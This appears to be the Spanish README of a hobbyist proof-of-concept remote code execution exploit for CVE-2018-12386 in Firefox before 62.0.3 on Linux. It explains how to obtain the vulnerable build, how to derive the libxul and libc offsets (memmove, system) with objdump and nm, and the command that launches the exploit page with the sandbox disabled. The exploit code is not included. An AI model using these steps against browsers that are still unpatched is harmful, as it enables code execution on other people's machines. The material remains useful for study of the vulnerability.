
CVE-2018-12386 - Exploit de RCE en entorno sandbox de Firefox para Linux (Firefox <v62.0.3)
Aquí hay un exploit simple para la vulnerabilidad CVE-2018-12386 encontrada por Niklas Baumstark, Samuel Groß y Bruno Keith.
Esto es principalmente una PoC que hice por diversión, no hay bypass del sandbox y solo funcionará
en una configuración Linux determinada donde los offsets utilizados por el exploit ya sean
conocidos (se pueden cambiar en exploit/offsets.js).
Este exploit funciona para versiones anteriores a Firefox 62.0.3 y Firefox ESR 60.2.2.
Puedes descargar versiones anteriores de Firefox directamente desde el servidor FTP de Mozilla: https://ftp.mozilla.org/pub/firefox/releases/
Puedes usar, por ejemplo, la versión 62.0.2 para Linux de 64 bits: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soSi estás usando Firefox 62.0.2, el offset proporcionado en exploit/offsets.js
debería ser el correcto.
Para otras versiones, una manera fácil de hacerlo es usar
la primitiva addrof para filtrar la dirección de la función JavaScript
Math.max, luego encontrar la dirección base de libxul.so para la instancia de
Firefox que estás explotando (con cat /proc/$(pidof firefox)/maps
por ejemplo) y restar las dos para obtener el offset libxul_math_max.
Si estás usando Firefox 62.0.2, el offset proporcionado en exploit/offsets.js
debería ser el correcto.
Para otras versiones, una manera fácil de hacerlo es usar objdump.
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 es el valor que necesitas, es decir, el offset de memmove en libxul.so.
libc.so.6Estos offsets dependen completamente de la versión de libc que uses.
# ubicación de libc.so.6
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
Una vez que tengas Firefox y los offsets correctos, puedes probar el exploit lanzando el siguiente comando:
MOZ_DISABLE_CONTENT_SANDBOX=1 /ruta/a/firefox/vulnerable /ruta/a/cve-2018-12386/exploit/pwn.html

Si quieres saludar: @Asri3l